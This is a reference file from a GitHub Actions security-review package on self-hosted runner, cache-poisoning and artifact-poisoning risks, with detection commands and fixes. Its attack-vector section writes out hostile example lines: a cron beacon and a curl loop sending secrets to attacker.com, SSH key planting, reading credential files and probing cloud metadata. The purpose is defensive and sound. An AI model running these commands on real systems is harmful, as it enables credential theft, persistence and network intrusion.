READ-ONLY PACKAGE PREVIEW

getsentry-gha-security-review/references/runner-infrastructure.md

Version d18b7aa8ba87.bb1 · Apache-2.0. This preview displays packaged text and does not execute code. Treat the contents as untrusted instructions.

← Return to resource and package checksum

Runner Infrastructure

Overview

GitHub Actions runners, caches, and artifacts form the infrastructure layer of CI/CD. Self-hosted runners persist between jobs (unlike GitHub-hosted runners), and cache/artifact poisoning can create cross-workflow attack paths.


Self-Hosted Runner Risks

Persistence Between Jobs

GitHub-hosted runners are ephemeral — each job gets a fresh VM that's destroyed after use. Self-hosted runners are persistent — files, processes, and credentials from one job remain available to the next.

# DANGEROUS: Self-hosted runner with pull_request trigger
on: pull_request  # Fork PRs can run on self-hosted runners
jobs:
  build:
    runs-on: self-hosted  # Persistent runner!
    steps:
      - uses: actions/checkout@v4
      - run: npm install && npm test

Attack Vectors on Self-Hosted Runners

Credential Persistence
# Attacker's code in a fork PR running on self-hosted runner:

# 1. Install a persistent backdoor
echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner

# 2. Drop SSH keys
mkdir -p ~/.ssh
echo "attacker-public-key" >> ~/.ssh/authorized_keys

# 3. Steal cached credentials from previous jobs
cat ~/.docker/config.json  # Docker registry credentials
cat ~/.npmrc               # npm tokens
cat ~/.aws/credentials     # AWS credentials from previous deployments
Process Injection
# Attacker leaves a background process that intercepts future jobs
nohup bash -c 'while true; do
  if [ -f /home/runner/work/*/secrets.env ]; then
    curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
  fi
  sleep 10
done' &>/dev/null &
Network Access

Self-hosted runners often sit inside corporate networks:

# Attacker uses runner as pivot point
# Scan internal network
nmap -sn 10.0.0.0/24

# Access internal services
curl http://internal-api.corp.example.com/admin
# nosemgrep: skill-cloud-metadata-access
curl http://169.254.169.254/latest/meta-data/  # Cloud metadata (example of attack vector)

Cache Poisoning

How Actions Cache Works

actions/cache stores and restores files between workflow runs using a key. The cache is scoped to a branch, but feature branches can read caches from the default branch.

- uses: actions/cache@v4
  with:
    path: node_modules
    key: npm-${{ hashFiles('package-lock.json') }}

Attack: Poisoning the Cache

If an attacker can write to the cache (via a compromised workflow or PR build), subsequent jobs that restore the cache will use the poisoned content.

# Workflow on pull_request (fork code runs)
steps:
  - uses: actions/checkout@v4
  - uses: actions/cache@v4
    with:
      path: node_modules
      key: npm-${{ hashFiles('package-lock.json') }}
  - run: npm install  # Fork's package.json may install malicious deps
  # Cache now contains attacker's node_modules

Later, a trusted workflow on main restores this cache:

# Workflow on push to main
steps:
  - uses: actions/checkout@v4
  - uses: actions/cache@v4
    with:
      path: node_modules
      key: npm-${{ hashFiles('package-lock.json') }}
      # Restores attacker's poisoned node_modules if hash matches!
  - run: npm test  # Runs with poisoned dependencies

Cache Scope Rules

Branch Can Read Cache From Can Write Cache To
Default branch (main) main only main
Feature branch Feature + main Feature only
PR from fork Fork branch + main Fork branch

Key risk: Fork PRs can read caches from main and write to their own branch cache. If the cache key can be predicted/matched, poisoning is possible.


Artifact Poisoning

Cross-Workflow Artifact Attacks

actions/upload-artifact and actions/download-artifact pass data between workflows. If an untrusted workflow uploads an artifact, a trusted workflow that downloads it may execute poisoned content.

# Workflow 1: Build (on pull_request — fork code)
on: pull_request
steps:
  - uses: actions/checkout@v4
  - run: npm run build
  - uses: actions/upload-artifact@v4
    with:
      name: build-output
      path: dist/  # Fork code controls what's in dist/

# Workflow 2: Deploy (on workflow_run — trusted)
on:
  workflow_run:
    workflows: [Build]
    types: [completed]
steps:
  - uses: actions/download-artifact@v4
    with:
      name: build-output
      run-id: ${{ github.event.workflow_run.id }}
  - run: ./deploy.sh dist/  # Deploying fork's build output!

Artifact Scope Rules

  • Artifacts are scoped to a workflow run
  • workflow_run triggered workflows can download artifacts from the triggering run
  • Artifacts are not signed or verified — there's no integrity check

Detection Patterns

# Find self-hosted runner usage
grep -rn "runs-on:.*self-hosted" .github/workflows/

# Find cache usage
grep -rn "actions/cache" .github/workflows/

# Find artifact upload/download
grep -rn "actions/upload-artifact\|actions/download-artifact" .github/workflows/

# Check if self-hosted runners are used with PR triggers
for f in .github/workflows/*.yml; do
  if grep -q "self-hosted" "$f" && grep -q "pull_request" "$f"; then
    echo "ALERT: $f uses self-hosted runner with PR trigger"
  fi
done

# Find workflow_run workflows that download artifacts
grep -B5 "download-artifact" .github/workflows/*.yml | grep "workflow_run"

# Check cache keys for predictability
grep -A3 "actions/cache" .github/workflows/*.yml | grep "key:"

The Fix

Self-Hosted Runners

# SAFE: Use GitHub-hosted runners for untrusted code
on: pull_request
jobs:
  build:
    runs-on: ubuntu-latest  # Ephemeral, destroyed after job
    steps:
      - uses: actions/checkout@v4
      - run: npm test

# If self-hosted runners are required:
# 1. Use ephemeral/auto-scaling runners (actions-runner-controller)
# 2. Never run fork PRs on self-hosted runners
# 3. Use runner groups to isolate trusted/untrusted workloads

Cache Safety

# SAFER: Include workflow context in cache key
- uses: actions/cache@v4
  with:
    path: node_modules
    key: npm-${{ github.ref }}-${{ hashFiles('package-lock.json') }}
    # Branch-specific key reduces cross-branch poisoning risk

# SAFEST: Don't cache across trust boundaries
# Use separate cache keys for PR builds vs. main branch builds

Artifact Safety

# SAFER: Verify artifact integrity before using
on:
  workflow_run:
    workflows: [Build]
    types: [completed]
jobs:
  deploy:
    # Only deploy artifacts from trusted branches
    if: github.event.workflow_run.head_branch == 'main'
    steps:
      - uses: actions/download-artifact@v4
      - run: |
          # Verify artifact checksums or signatures
          sha256sum -c checksums.txt
          ./deploy.sh dist/

Severity Guidelines

Pattern Severity Rationale
Self-hosted runner with pull_request (forks enabled) Critical Fork code runs on persistent infrastructure
Self-hosted runner with pull_request_target + fork checkout Critical Fork code + secrets + persistence
Cache used across trust boundaries (PR + main) Medium Cache poisoning possible but requires key match
Artifact downloaded from untrusted workflow run High Untrusted build output deployed to production
Self-hosted runner for push to protected branches only Low Only trusted committers can trigger

References